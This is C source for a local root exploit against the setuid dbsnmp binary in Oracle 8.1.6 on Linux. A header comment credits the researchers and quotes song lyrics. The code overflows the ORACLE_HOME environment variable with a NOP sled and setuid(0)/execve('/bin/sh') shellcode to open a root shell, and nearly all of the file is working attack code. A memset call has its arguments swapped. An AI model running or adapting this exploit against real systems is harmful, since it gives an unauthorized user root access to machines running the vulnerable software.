/* Exploit code for dbsnmp binary in Oracle 8.1.6.0.0 Linux Platform. I tested it
 in RH 6.2.

dbsnmp makes setresuid(,getuid(),) before reading ORACLE_HOME environment variabl
e. Its necessary to call setuid(0) before normal shellcode.

In My tests Offset may vary from 7846 to 7896. Its posible to obtain a normal (ui
d=oracle) shell for low offsets (incomplete setuid(0) jumps). 



"Cae fuego en lugar de mana
Se disfraza el asfalto de mar
El zapato no encuentra el pedal
Parece que anda suelto satanas."

                        L.E.Aute
 


This vulnerability was researched by:
        Juan Manuel Pascual <pask@plazasite.com>

Special thanks to:

        Ivan Sanchez <isanchez@plazasite.com>
        Mundo Alonso-Cuevillas <mundo@plazasite.com>
*/





#include <stdio.h>
#include <stdlib.h>

#define BUFFER                                  800
#define OFFSET                                 7896
#define NOP                                    0x90
#define BINARY  "/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp"


char shellcode[] =
"\x90"          /* Additional NOP */
"\x31\xc0"      /* begin setuid (0) */
"\x31\xdb"
"\xb0\x17"
"\xcd\x80"

"\xeb\x1f"
"\x5e"
"\x89\x76\x08"
"\x31\xc0"
"\x88\x46\x07"
"\x89\x46\x0c"
"\xb0\x0b"
"\x89\xf3"
"\x8d\x4e\x08"
"\x8d\x56\x0c"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\x40"
"\xcd\x80"
"\xe8\xdc\xff\xff\xff"
"/bin/sh";


unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr,binary[120];
  long *addr_ptr, addr;
  int bsize=BUFFER;
  int i,offset=OFFSET;

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() -offset;
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  memset(buff,bsize/2,NOP);

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';
setenv("ORACLE_HOME",buff,1);
system(BINARY);
}